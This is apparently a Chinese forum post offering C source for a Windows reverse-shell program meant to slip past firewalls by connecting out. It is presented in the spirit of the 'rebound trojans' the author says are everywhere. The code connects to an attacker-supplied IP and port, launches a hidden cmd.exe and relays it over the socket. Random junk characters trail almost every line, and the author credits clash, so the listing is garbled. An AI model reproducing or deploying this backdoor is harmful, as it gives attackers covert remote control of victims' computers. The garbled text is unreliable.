这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [ &RZ&
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/* ============================== e0Cr> I5/e
Rebound port in Windows NT ??0C"8:[
By wind,2006/7 ]BGWJ A5
===============================*/ ^Lr)STh
#include 8gwJ%"-K
#include ;S5*n:d
N+%E=D>
#pragma comment(lib,"wsock32.lib") #D~atgR
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void OutputShell(); }UNRe]ft$
SOCKET sClient; )/kkvI()l
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; rt)70=
8##-fv]
void main(int argc,char **argv) LDqq'}qK6
{ T;K,.a8bU
WSADATA stWsaData; MT9c:7}[&
int nRet; 8wz%e(
SOCKADDR_IN stSaiClient,stSaiServer; ~H!s{$.5
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if(argc != 3) m?bd6'&FR
{ vHSX3\(
printf("Useage:\n\rRebound DestIP DestPort\n"); /T&z
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return; ZlD\)6 dZ
} KLD)h,]
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WSAStartup(MAKEWORD(2,2),&stWsaData); COPH)Bdq.
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }9yAYZ0q{b
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stSaiClient.sin_family = AF_INET; 6U[`CGL66
stSaiClient.sin_port = htons(0); {`5Sh1b
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); nI4Kuz`dF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6vp\~J
{ |hms'n0
printf("Bind Socket Failed!\n");
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return; Ojqbj0E9
} z%-Yz-G9
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stSaiServer.sin_family = AF_INET; Pf&\2_H3s9
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .%) FK#s-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y"~Tf{8
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /Y$UJt
{ q
SR\=:$
printf("Connect Error!"); 4FSA:]o-
return; +-tvNX%IJ
} ~\_aT2j0
OutputShell(); #x-@ >{1k&
} 'z$ BgXh\
Yd]y`J?#
void OutputShell() Y_m/? [:
{ uYjE)"
char szBuff[1024]; d%1Tv1={
SECURITY_ATTRIBUTES stSecurityAttributes; {A2EGUmF2
OSVERSIONINFO stOsversionInfo; `x=W)o
}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; | R MIV
STARTUPINFO stStartupInfo; B-Bgk
char *szShell; Q9,H0r-%
PROCESS_INFORMATION stProcessInformation; ~aKM+KmtPH
unsigned long lBytesRead; X(sHFVU+
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B*=m%NXf
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?,GCR1|4
stSecurityAttributes.lpSecurityDescriptor = 0; 7&oT}Z
stSecurityAttributes.bInheritHandle = TRUE; *12,MO>go
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P<<?7_ ??
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g\9I&z~?
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "rhU2jT=c
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6z;C~_BV
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k?(x}IZdG
stStartupInfo.wShowWindow = SW_HIDE; _X
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stStartupInfo.hStdInput = hReadPipe; hf5yTs
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b{T". @b
)_[eqr
GetVersionEx(&stOsversionInfo); vo48\w7[
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switch(stOsversionInfo.dwPlatformId) P#e1?
{ =Xwr*FTr
case 1: Djv0]Sm^!
szShell = "command.com"; xd[GJ;xvs
break; S
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default: | %E\?-TK
szShell = "cmd.exe"; ]J<2a`IK!
break; QGv$ ~A[h
} Gyo[C98
+7yirp~`K
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |%wgux`z
^ ]nnvvp
send(sClient,szMsg,77,0); 1oD1ia#
while(1) syuW>Z8s
{ BGk>:Z`
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ZkbaUIQ
if(lBytesRead) VD=}GY33=
{ NO(^P+s
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c!,&]*h"k
send(sClient,szBuff,lBytesRead,0); 6??o(ziK$
} jZRf{
else e_eNtVq
{
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lBytesRead=recv(sClient,szBuff,1024,0); +sN'Y/-
if(lBytesRead<=0) break; :0G_n\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); d!BQ%a
} =bn(9Gm!J
} /O,>s
1iS]n;xcl/
return; hLs<g!*O
}